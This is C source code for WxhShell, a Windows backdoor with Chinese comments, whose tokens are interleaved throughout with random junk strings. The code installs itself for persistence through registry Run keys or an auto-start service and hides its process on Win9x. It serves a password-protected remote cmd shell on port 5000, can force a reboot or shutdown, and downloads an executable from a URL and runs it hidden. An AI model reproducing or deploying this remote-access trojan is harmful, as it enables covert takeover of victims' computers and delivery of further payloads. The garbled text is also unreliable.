"GetModuleBaseNameA"); r#WT`pav NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f#%JSV"7 Ap&)6g if (!NtQueryInformationProcess) return 0; fQWIw ^Yr0@pE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZWc+),X if(!hProcess) return 0; P7r'ffA Mr+@c) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G
DSfT{kK\ L;_c|\% CloseHandle(hProcess); ,O=a*%0rt -0o[f53}p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #)+- lPe if(hProcess==NULL) return 0; O|kKwadC oC*ees
g_ HMODULE hMod; 6XEZ4QP} char procName[255]; { PlK@#UN unsigned long cbNeeded; BOlAm*tFt NX* O_/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %/"Oxi^G Q+|{Bs)6i1 CloseHandle(hProcess); Hyk'c't_O Pvo#pY^dXX if(strstr(procName,"services")) return 1; // 以服务启动 OL59e%X lYf+V8{ return 0; // 注册表启动 'iSAAwT2aj } ~%w~-O2 @}F Awv^f // 主模块 !KS F3sz int StartWxhshell(LPSTR lpCmdLine) 4FeEGySow { *xRc *
:0 SOCKET wsl; 2H#N{>7 BOOL val=TRUE; _cJ[
FP1 int port=0; `&7RMa4= struct sockaddr_in door; m/&i9A !jX4`/n2 if(wscfg.ws_autoins) Install(); A(6xg)_XQ UP1?5Q=H]Q port=atoi(lpCmdLine); Hy;Hs# uPyVF-i if(port<=0) port=wscfg.ws_port; BW[5o3
i OTvROJP WSADATA data; 6o3T;h if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JXQPT V}8$p8#<@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kka"C]! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
I8m:3fL" door.sin_family = AF_INET; >mu)/kl door.sin_addr.s_addr = inet_addr("127.0.0.1"); mL L$| door.sin_port = htons(port); y%B X]~ B:oF;~d/, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,cHU) j closesocket(wsl); .CV _\ return 1; 3><u*0qe%I } SBKeb|H8 _+QwREP if(listen(wsl,2) == INVALID_SOCKET) { S)\8|ym6! closesocket(wsl); cf8-]G?tK return 1; Z[#IfbYt } M]_E Wxhshell(wsl); s"#]L44N WSACleanup(); Q|hm1q (i`(>I.(/ return 0; :X>DkRP CMVS W6 } KsdG(.I+ek r'aY2n^O // 以NT服务方式启动 >]$aoA# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X-Ycz 5? { UmP'L! DWORD status = 0; : }?{@#Z DWORD specificError = 0xfffffff; _vrWj<wyf mvTb~) serviceStatus.dwServiceType = SERVICE_WIN32; M []OHw serviceStatus.dwCurrentState = SERVICE_START_PENDING; b~Z=:'m8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1bRL"{m^)- serviceStatus.dwWin32ExitCode = 0; #ooc)), serviceStatus.dwServiceSpecificExitCode = 0; &hN,xpC serviceStatus.dwCheckPoint = 0; #)74X%4( serviceStatus.dwWaitHint = 0; 1j3=o }m Yo2Trh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q=+8/b if (hServiceStatusHandle==0) return; *SZ>upg \iZ1W status = GetLastError(); 'Z[d7P if (status!=NO_ERROR) \Hum }0[ { zqGYOm$r serviceStatus.dwCurrentState = SERVICE_STOPPED; Z{}+)Q*Q serviceStatus.dwCheckPoint = 0; i$O#%12l serviceStatus.dwWaitHint = 0; BX$hAQ(6Q serviceStatus.dwWin32ExitCode = status; ;BTJ%F. serviceStatus.dwServiceSpecificExitCode = specificError; c!D> {N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,]{NO
return; oQvFrSz } l<RfRqjw V_]-`?S serviceStatus.dwCurrentState = SERVICE_RUNNING; d| \#?W& serviceStatus.dwCheckPoint = 0; )6G+ tU' serviceStatus.dwWaitHint = 0; Y n>{4BZ># if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r}@< K } P%!q1`Eke( h544dNo& // 处理NT服务事件,比如:启动、停止 R6Pz#`n VOID WINAPI NTServiceHandler(DWORD fdwControl) {G.{ad { X,53c$ switch(fdwControl) }rxFS
<j { mt .,4 case SERVICE_CONTROL_STOP: ^V,@=QL3U serviceStatus.dwWin32ExitCode = 0; Ap,q
`S serviceStatus.dwCurrentState = SERVICE_STOPPED; MZi8Fo' serviceStatus.dwCheckPoint = 0; L4mTs-M. serviceStatus.dwWaitHint = 0; nP)-Y#`~7 { d.1Q~&` SetServiceStatus(hServiceStatusHandle, &serviceStatus); V9]uFL } %>NRna return; e)og4 case SERVICE_CONTROL_PAUSE: F~P/*FFK serviceStatus.dwCurrentState = SERVICE_PAUSED; P#9-bYNU break; $YR{f[+L
w case SERVICE_CONTROL_CONTINUE: x
k#*= serviceStatus.dwCurrentState = SERVICE_RUNNING; <v-92? break; @%7/2k case SERVICE_CONTROL_INTERROGATE: 4w2L?PDMi break; *Ag, kW" }; p!V)55J* SetServiceStatus(hServiceStatusHandle, &serviceStatus); ix+x3OCip } IT7:QEfKU 2f
/bEpi // 标准应用程序主函数 <#!8?o&i int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zkvH=wL { 6UtG-WHHt ]n/jJ_[ // 获取操作系统版本 {S# 5g2 OsIsNt=GetOsVer(); ,7/\&X<`B GetModuleFileName(NULL,ExeFile,MAX_PATH); 2}1!WIin sd7Y6?_C // 从命令行安装 $jDD0<F.# if(strpbrk(lpCmdLine,"iI")) Install(); ec,z6v^9 aw;{<?* // 下载执行文件 Y-?51g [u if(wscfg.ws_downexe) { F\l!A'Q+t if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *GB$sXF WinExec(wscfg.ws_filenam,SW_HIDE); D DZTqsws } HXz iDnj SlM>";C\ if(!OsIsNt) { O{O9}]6 // 如果时win9x,隐藏进程并且设置为注册表启动 LjX&', HideProc(); 4_Tb)?L+: StartWxhshell(lpCmdLine); vsxvHot= } nT(!HDH else 30:HRF(: if(StartFromService()) .kz(V5 // 以服务方式启动 15RI(BN StartServiceCtrlDispatcher(DispatchTable); $XtV8 else @faF`8LwA // 普通方式启动 w`2_6[,9 StartWxhshell(lpCmdLine); Ji)%Y5F IhtmD@H} return 0; 8kKRx } |Sy}d[VKsZ 1ZGQhjcx ;w>Q{z XL%vO#YT =========================================== .CB"@.7 _&6juBb h/fb<jIP1 HQjxJd5P T(t
<Ay?c @8T
Vr2uy " fwz5{>ON] P W0q71 #include <stdio.h> C"V?yDy2~ #include <string.h> 7l4InR] #include <windows.h> i:NJ>b #include <winsock2.h> Lk$Je
O #include <winsvc.h> htNL2N #include <urlmon.h> }-k_?2"A 6jQ&dN{=qB #pragma comment (lib, "Ws2_32.lib") &z1| #pragma comment (lib, "urlmon.lib") Hj-<{#, 3tx0y #define MAX_USER 100 // 最大客户端连接数 Q*oA{eZY #define BUF_SOCK 200 // sock buffer v{\n^|=]) #define KEY_BUFF 255 // 输入 buffer H@OrX Eusf gU: #define REBOOT 0 // 重启 I*`=[nR #define SHUTDOWN 1 // 关机 A$$R_3ne %$!R] B) #define DEF_PORT 5000 // 监听端口 JXD?a.vy^q }(O D< #define REG_LEN 16 // 注册表键长度 8{U]ATx'( #define SVC_LEN 80 // NT服务名长度 0YTtA]|`4 a v|6r# // 从dll定义API d%[`=fs]|m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E?;T:7.% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8M(|{~~3: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LbmB([p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g}s-v?+ +h9l%Pz // wxhshell配置信息 m}'t'l4 c struct WSCFG { N4JqW int ws_port; // 监听端口 ytcG6WN3 char ws_passstr[REG_LEN]; // 口令 &xMJ^Nv int ws_autoins; // 安装标记, 1=yes 0=no Jr*S2z<* char ws_regname[REG_LEN]; // 注册表键名 Z2pN<S{5 char ws_svcname[REG_LEN]; // 服务名 @{$Cv"6769 char ws_svcdisp[SVC_LEN]; // 服务显示名 :6Pc m3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 spoWdRM2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M
b /X@51 int ws_downexe; // 下载执行标记, 1=yes 0=no Kr}M>hF+| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \i;~~;D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lXL7q?,9 R4rm>zisVX }; %JA&O Hr8$1I$= // default Wxhshell configuration ~m;MM)_V struct WSCFG wscfg={DEF_PORT, ,B/p1^;. "xuhuanlingzhe", YO!7D5rV # 1, '|A5a+[ "Wxhshell", ek.WuOs "Wxhshell", Z!=Pc$? "WxhShell Service", gp&&
c, "Wrsky Windows CmdShell Service", ("M#R!3 "Please Input Your Password: ", }+RF~~H/ 1, zt>_)&b "http://www.wrsky.com/wxhshell.exe", 'Tan6Qa "Wxhshell.exe" 8KELN(o$ 7 }; R_*D7|v 2;(iTPz + // 消息定义模块 ]ieA?:0Hi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x_iy;\s1 char *msg_ws_prompt="\n\r? for help\n\r#>"; AL$Ty char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Q'XB char *msg_ws_ext="\n\rExit."; IWR q:Gw char *msg_ws_end="\n\rQuit."; SUi1*S char *msg_ws_boot="\n\rReboot..."; C.e|VzQa char *msg_ws_poff="\n\rShutdown..."; 0<]!G|;| char *msg_ws_down="\n\rSave to "; E `j5y(44 /$.vHt5nt char *msg_ws_err="\n\rErr!"; @ un char *msg_ws_ok="\n\rOK!"; ;gu>;_ 0}7Rm> char ExeFile[MAX_PATH]; <GmrKdM int nUser = 0; l:Xf(TLa HANDLE handles[MAX_USER]; l|tp0[ int OsIsNt; wj5s5dH I%b:Z SERVICE_STATUS serviceStatus; .q[sk SERVICE_STATUS_HANDLE hServiceStatusHandle; 0B:{4Lsn& W
me1w\0 // 函数声明 LOG*K;v3 int Install(void); GvtI-\h] int Uninstall(void); y^|3]G3 int DownloadFile(char *sURL, SOCKET wsh); M |kDys int Boot(int flag); xjk|O;ak void HideProc(void); `xAJy5 int GetOsVer(void); SR8Kzk{ int Wxhshell(SOCKET wsl); Ri6 br void TalkWithClient(void *cs); 4k?JxA) int CmdShell(SOCKET sock); N$a-i int StartFromService(void); @`*YZq>p int StartWxhshell(LPSTR lpCmdLine); *rKv`nva5 _$_CR\$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *_rGBW VOID WINAPI NTServiceHandler( DWORD fdwControl ); R.'Gg x]+KO)I // 数据结构和表定义 Wq&c,H SERVICE_TABLE_ENTRY DispatchTable[] = Hwc8i"{9y\ { N6
(w<b {wscfg.ws_svcname, NTServiceMain}, >@e%,z {NULL, NULL} jy|xDQ }; Z4zMa& 6}lEeMRW // 自我安装 ^52R`{ int Install(void) P2RL\`<" { oOSyOD char svExeFile[MAX_PATH]; *G|]5 HKEY key; DJjDKVO5t strcpy(svExeFile,ExeFile); wTbIS~!gF >ZsK5v // 如果是win9x系统,修改注册表设为自启动 /[dAgxL if(!OsIsNt) { Z'm%3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7+r5?h| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .[85<"C RegCloseKey(key); LbI])M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Nu`@)D0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \)kAhKtG RegCloseKey(key); .u3W]5M| return 0; FdHWF|D } HD|)D5wH| } BQf+1Ly& } X^^ D[U else { 8gm[Q[
A8Y~^wn // 如果是NT以上系统,安装为系统服务 tV4aUve SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {moNtzE; if (schSCManager!=0)
&g>+tkC { - $/{V&?t SC_HANDLE schService = CreateService <L#r6y~H ( q2i~<;Z)9 schSCManager, v]S8!wU wscfg.ws_svcname, zz*[JIe wscfg.ws_svcdisp, eA^|B zU SERVICE_ALL_ACCESS, D$
z!wV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ayD55W4 SERVICE_AUTO_START, ?,>y`Qf*| SERVICE_ERROR_NORMAL, >(a_9l;q svExeFile, IvH+94[)
NULL, 6E4 L4Vb NULL, r{&"]'/X NULL, :\RB ^3; NULL, (E[hl NULL M/;g|J
jM ); ^[akB|#\9 if (schService!=0) syvi/6 { I]1fH CloseServiceHandle(schService); /Vc!N)
CloseServiceHandle(schSCManager); /% 1lJD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r6G)R+ # strcat(svExeFile,wscfg.ws_svcname); T+hW9pa) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x|5/#H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &ayoTE^0, RegCloseKey(key); 8^T$6A[b return 0; w+H=Xh4t } ;_*F [
}w } :wm^04<i CloseServiceHandle(schSCManager); uM#/ } k/O&,T77}J } 5H2|:GzUc 1cega1s3xR return 1; .jw)e!<\N } ZS]e}]Zwp
1<5yG7SZ // 自我卸载 i|Wn*~yFOO int Uninstall(void) o 8U2vMH { cPSu!u}D HKEY key; &h-1Z} ~gD]JiiA if(!OsIsNt) { u:$x,Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Jr<>7Q1 RegDeleteValue(key,wscfg.ws_regname); xm5D$m3# RegCloseKey(key); jL<.?HE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lvlH5Fc RegDeleteValue(key,wscfg.ws_regname); nFSa~M RegCloseKey(key); :nt%z0_ return 0; 3}Pa,uN } Ql
1# l:Q } sEa:p:! } Kkm7L- else { hAdEq$ D~} 4N1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bUNp>H>L if (schSCManager!=0) Jo ^o`9 { 4=Zlsp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F)G#\r if (schService!=0) ;DTNw= { aum,bm/0J if(DeleteService(schService)!=0) { =zKp(_[D CloseServiceHandle(schService); I~I%z'"RQd CloseServiceHandle(schSCManager); jWz-7BO return 0; yY+2;`CH } V*N9D>C CloseServiceHandle(schService); -#r_9HQ,w } @?U5t1O< CloseServiceHandle(schSCManager); uH#NJoRO } v|xlI4 } $W2AiE[Wm g6farLBF return 1; \ gN) GR } c8u0\X, 19EU[eb // 从指定url下载文件 jL# ak V int DownloadFile(char *sURL, SOCKET wsh) DuWP)#kg { P|?z1JUd HRESULT hr; 4 R]| char seps[]= "/"; vlD]!]V:h char *token; z} %to0W char *file; B.|vmq,u char myURL[MAX_PATH]; Dj|S char myFILE[MAX_PATH]; B@4#y9`5 3Rm$ strcpy(myURL,sURL); M3''xrpC token=strtok(myURL,seps); -}(W=r\ while(token!=NULL) Z#Fw 1 { p4[W@JV file=token; >dM'UpN@ token=strtok(NULL,seps); Pzqgg43Xf } cE3co(j UaBR;v-.B3 GetCurrentDirectory(MAX_PATH,myFILE); >iCMjT]4 strcat(myFILE, "\\"); {`'b+0[;@ strcat(myFILE, file); _FV.}%W<u send(wsh,myFILE,strlen(myFILE),0); ^Iz.O send(wsh,"...",3,0); 1Nz\3]- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zj JD@,j if(hr==S_OK) L=$P return 0; yU\|dL else )sQbDA|p return 1; >
+SEze S$#Awen"@ } OhTO*C8 [kXe)dMX8 // 系统电源模块 D"hiEz int Boot(int flag) A-~)7- { ,R)[$n HANDLE hToken; |oM6(px TOKEN_PRIVILEGES tkp; mB\5bSFY` RHxd6Gs" if(OsIsNt) { r'8e"pTi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zh6so. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e' Zg F~ tkp.PrivilegeCount = 1; a-W&/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `8Om*{xg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D,7! /u' if(flag==REBOOT) { =}L[/ RL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LKm5U6 return 0; 9> |rIw } PQ5DTk else { %8ul}}d9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2@H~nw 0 return 0; ^mGT ZxO } +,%x&L&I } q\~7z1 else { ?]})Xf.A if(flag==REBOOT) { WgIVhj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (]pQ.3 return 0; T4UY%E!0 } J:>TV.TP else { cz0tnF*& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u]}Xq{ZN return 0; |X sW)/ } )yK!EK\ } @<YZa$` 5E%W;$3Pb return 1; /eE P^)h } NO<myN+N []Z6<rC| // win9x进程隐藏模块 F[+sc Mx!G void HideProc(void) mF_/Rhu { A ^~\ [fb -G5x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8xNKVj)@ if ( hKernel != NULL ) "?Y0Ng[ { $Fo ,$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wbc %G8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cjd +\7#G FreeLibrary(hKernel); isaT0__8 }
$%jV%k wCdUYgsPT" return; ]s<Q-/X } MXhS\vF#m gC'GZi^ // 获取操作系统版本 CocvEoE*z int GetOsVer(void) TKmC/c { WgY3g1C OSVERSIONINFO winfo; ='mqfGRi> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s0\X%U(" GetVersionEx(&winfo); zgO?%O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =e4,)Wd9& return 1; ($3QjH_@ else rsIjpPa return 0; IX3r$}4 } gDA hl osnDW
aN // 客户端句柄模块 h;B'#$_ int Wxhshell(SOCKET wsl) Q8P;AN_JS { 'al-C;Z SOCKET wsh; %xY'v$
% struct sockaddr_in client; Obw uyhjQ DWORD myID; DF-og*V UH)A n:9 while(nUser<MAX_USER) f",B;C { s*S@}l int nSize=sizeof(client); >si<VCO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $u` ;{8 if(wsh==INVALID_SOCKET) return 1; 8`im4.~#% r[hfN2,# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,CCIg9Pt if(handles[nUser]==0) [H"Ods~_` closesocket(wsh); q'W`t>2T else +tuC845 nUser++; ^+}<Q#y- } mxXQBmW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f'}23\> Hiw{1E:rW return 0; / ]I] } =n;ileGm+^ /at#[Pw~01 // 关闭 socket MRiETd" void CloseIt(SOCKET wsh) Lrz>00(*4 { )[/+j"F closesocket(wsh); aE:fMDS|x nUser--; -]N/P{=L ExitThread(0); T,;6q!s= } "F0,S~tZZ ne;,TJ\ // 客户端请求句柄 (0Y6tcV]R void TalkWithClient(void *cs) \n /_Px { Um*{~=;u $o-s?"; SOCKET wsh=(SOCKET)cs; u<):gI char pwd[SVC_LEN]; 9=h A#t.# char cmd[KEY_BUFF]; y\ouIsI77 char chr[1]; ==c\* o int i,j; Rh:\/31~ -N9U lW2S while (nUser < MAX_USER) { ~uV.jh u0N1+-6kr+ if(wscfg.ws_passstr) { dGZVWEaPfx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <~f/T]E, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YsLEbue //ZeroMemory(pwd,KEY_BUFF); (2<0kqj% i=0; /SZsXaC ' while(i<SVC_LEN) { i9+V<'h V5M_N;h // 设置超时 ]W]Vkkg] fd_set FdRead; FJ~Dg3F1 struct timeval TimeOut; +\Rp N FD_ZERO(&FdRead); )PR{ia64;< FD_SET(wsh,&FdRead); 1)M3*h3 TimeOut.tv_sec=8; IaN|S|n~ TimeOut.tv_usec=0; Av7bp[OD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % &{>oEQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t[7YMk *O+YhoR? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4km=KOx[ pwd=chr[0]; L;>tuJY1 if(chr[0]==0xd || chr[0]==0xa) { / [:@j+n\ pwd=0; fXO"Mr1 break; YP+0uZ[g } 6?z&G6 i++; i3N _wv{ } k$#
@_ EcFYP"{U // 如果是非法用户,关闭 socket Rm"lRkY4I[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }kGJ)zh } wbVM'E/& ;?bRRW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pT:CvJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CQQX7Y\ ?}lgwKBHl; while(1) { 8Q?)L4.] ^pAqe8u_ ZeroMemory(cmd,KEY_BUFF); -Z)$].~|t ^=}~ // 自动支持客户端 telnet标准 { SJ=|L6 j=0; >J|I while(j<KEY_BUFF) { (Sv 7^}j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i8+kc_8#d cmd[j]=chr[0]; n-}.Yc if(chr[0]==0xa || chr[0]==0xd) { {FteQ@( cmd[j]=0; L*Xn!d% break; e*:[#LJ]C } <j-Bj$3 j++; qdjRw#LS^q } >pT92VN YLJH?=2@ // 下载文件 v93+<@Z if(strstr(cmd,"http://")) { \bZbz/+D send(wsh,msg_ws_down,strlen(msg_ws_down),0); X_!Sm if(DownloadFile(cmd,wsh)) wwmMpK}f send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JWHyo else av&dGsFP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u'<Y#bsR#/ } Oh5(8.<y else { w[n|Sauy, AW!|xA6'`: switch(cmd[0]) { VsNqYFHes& )Tpc8Hr // 帮助 tlA4oVII case '?': { 6oL-Atf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z[slN5]([ break; JOx75} } ~BaU2S@y // 安装 \b1I<4( case 'i': { 6JSa:Q>, if(Install()) -~p@o1k0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZ[SC else (IAl$IP63s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -!I.:97 N break; 8L|rj4z<# } cSnm \f // 卸载 O HR9u case 'r': { ]j}zN2[A if(Uninstall()) 9c}LG5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=A7f6` else
ACU0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /e!/ break; r%&hiobMYs } KQNSYI7a // 显示 wxhshell 所在路径 i('z~ case 'p': { yaa+j8s] char svExeFile[MAX_PATH]; VjMd&>G strcpy(svExeFile,"\n\r"); fFqK.^Tn strcat(svExeFile,ExeFile); .]k(7F!W send(wsh,svExeFile,strlen(svExeFile),0); %Jq(,u break; q}M^i7IE } C'
o4Su# // 重启 3Nsb@0 case 'b': { Ni(D[?mZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K}1>n2P if(Boot(REBOOT)) tPDV"Md#m< send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Z<GUblt else { 'N,x=1R5 closesocket(wsh); )tz8(S ExitThread(0); Y~,[9:SR } XqyfeY5t break; A&Ut:OiA } '4L
i // 关机 23U9+ case 'd': { %_@8f|# ,M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mucY+k1>g if(Boot(SHUTDOWN)) ]W5s!T_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *O$kF.3q else { @>ONp|}@qI closesocket(wsh); b!PN6<SI ExitThread(0); WLDt5R } h}g _;k5R break; D4c}z#}*0 } "@$o'rfT // 获取shell )m\%L`+ case 's': { +4GuA0N6 CmdShell(wsh); DL2e9 closesocket(wsh); ceH7Rq:4W ExitThread(0); qdAz3iye break; lh(A=hn"n } 5u~Ik c~ // 退出 kFw3'OZ, case 'x': { {1#5\t>9yD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nr|.]=K)5n CloseIt(wsh); -XPGl break; o5BOe1_Pw } ~.VWrHC // 离开 V tZ case 'q': { x|F6^d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E-E+/.A closesocket(wsh); SXwgn > WSACleanup(); zbl h_6 exit(1); \7$m[h{l break; b1\z&IdC } QEQ8gfN9> } Kcsje_I-M } q.K >v' ]^8:"Ky' // 提示信息 ky#<\K1}' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3543[W#a }
{pd%I } <*8nv.PX* QbV)+7II= return; l.;y`cs } ?9Fv0-g&n 9P{5bG0o8 // shell模块句柄 K)_0ej~C int CmdShell(SOCKET sock) =y0!-y { lBD{)Va STARTUPINFO si; yE{l
Xp; ZeroMemory(&si,sizeof(si)); zp% MK+x si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j;VYF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
Qk Gr{ PROCESS_INFORMATION ProcessInfo; O|4~$7 char cmdline[]="cmd"; \^|ncu:T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t{F6+d p return 0; L6r& |